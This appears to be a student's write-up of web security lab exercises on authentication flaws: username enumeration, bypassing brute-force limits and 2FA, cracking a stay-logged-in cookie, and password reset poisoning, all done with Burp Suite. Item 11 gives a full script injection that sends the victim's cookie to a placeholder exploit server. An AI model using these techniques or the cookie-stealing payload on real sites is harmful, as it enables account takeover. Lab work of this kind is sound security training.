1. Username enumeration via different responses:
   * Exploited the vulnerability by mounting a brute force attack on the username and password by using the given wordlist through BurpSuite Intruder’s Payload Tab. Upon getting the response as 302 or the length of the content was different, we identified that these passwords are correct.
2. Username enumeration via subtly different responses:
   * Exploited the vulnerability by noticing that when correct username is entered then there the application shows a slightly different response than others which helped us mount a brute force attack on username and password using BurpSuite’s Intruder.
3. Username enumeration via response timing:
   * Now in this case the application implemented an IP Based Brute Force protection which blocks any IP that make more than a specific number of requests in a given time frame so we used **“X-Forwarded-For: 0-100”** header which helped us spoof our IP on each request and again mounted a brute force attack first on username with a very long predefined string of password and noticed the response timing and whichever took the highest amount of time then that is our valid username and then mounted the same on password.
4. Broken brute-force protection, IP block:
   * Now in this case the application blocks any IP that makes 3 failed login attempts in a row but resets the counter when a user successfully logs in.
   * Exploited the vulnerability by using either Burpsuite’s Turbo Intruder or Macros but we’re doing it manually this time by appending our own username and password after each brute force attempt which makes the application login successfully which resets the counter and we can still get the credentials.
5. Username enumeration via account lock:
   * In this case there was an account lock implemented in this application so we brute forced this application using only the list of usernames first by trying each username for 5 times until we notice any changes in the response using Cluster bomb attack.
   * Then after getting the username, we exploited the password by mounting a brute force attack using Sniper attack.
6. Broken brute-force protection, multiple credentials per request:
   * Exploited the vulnerability by noticing in BurpSuite’s Intercept Proxy that the application sends login data in JSON format which will allow us to send all the possible passwords in JSON format separated by commas which will log us in.
7. 2FA simple bypass:
   * In multi factor authentication sometimes the application logs the user in his account and then asks for an OTP so going to some other domain can keep you logged in without providing any OTP.
8. 2FA broken logic:
   * In some cases, after logging in using the username password the application does not verifies if the user who logged in is the one providing the OTP so we exploited this by modifying the HTTP request in BurpSuite’s Intercept tab by changing the username in the request it generates an OTP for victim’s account and then brute forcing the OTP which allowed us to log in.
9. 2FA bypass using a brute-force attack:
   * In this case if we try to enter wrong OTP twice then we’re logged out automatically so we’re going to use BurpSuite’s Session Handling and Macros to exploit this vulnerability.
   * We’ll go to project options then sessions tab, in session handling rules panel select add.
   * Then in the dialogue box go to scope, under scope URL click select all URLs.
   * Go back to details tab and under rule actions click Add then click run a macro.
   * Under select macro click add to open the macro recorder and select the requests you want to make before each brute force iteration.
   * Then click OK, then the macro editor dialogue box opens then click test macro and verify that it’s the response you wanted.
   * Keep clicking Ok to close all boxes.
   * Now after every attempt of brute force BurpSuite will log us back in and provide us the OTP page directly.
   * So, we will mount a brute force attack on OTP by selecting Payload as Numbers and in the Resource Pool tab we will select 1 Concurrent request at a time.
10. Brute-forcing a stay-logged-in cookie:
    * Exploited the vulnerability by paying attention to the stay-logged-in cookie and decoding it using Base64-encode decoder and by looking at the password we can easily make it out that it is MD5 hashing.
    * Now we need to mount a brute force attack on the password by using wordlist as payload with payload processing rules like MD5 Hashing, Add Prefix wiener: and encode into Base64-encode.
11. Offline password cracking:
    * In this case we exploited the vulnerability by injecting XML code: **<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>** into the comment input field in order to steal the victim’s cookie then whenever the user opens the page it will send the cookie to me and then I will decode and use it to login into the account.
12. Password reset broken logic:
    * Exploited this vulnerability as the password reset link has the token in its URL as well as in its HTTP request and we noticed that it doesn’t check the token while submitting the password.
    * So, after deleting the token value and changing the username to the target’s username we’re able to change its password.
13. Password reset poisoning via middleware:
    * Exploited the vulnerability using a middleware exploit server by using **X**-**Forwarded**-**Host:** header in the HTTP request to send the request dynamically to my server and got the temporary token of victim from there and then created a request to reset password for my account and after opening URL I changed the URL’s token to victim’s token.
14. Password brute-force via password change:
    * In this case we can see that after logging in when we try to change our password and after two wrong current password attempts, we get logged out automatically but when we try to enter correct current password with unmatched new password then we will get an error saying that the new passwords didn’t match which means that the current password is correct.
    * So, we will mount a brute force attack on the current password and change the username to the target’s username and as soon as we get an error saying that passwords didn’t match, we got the credentials.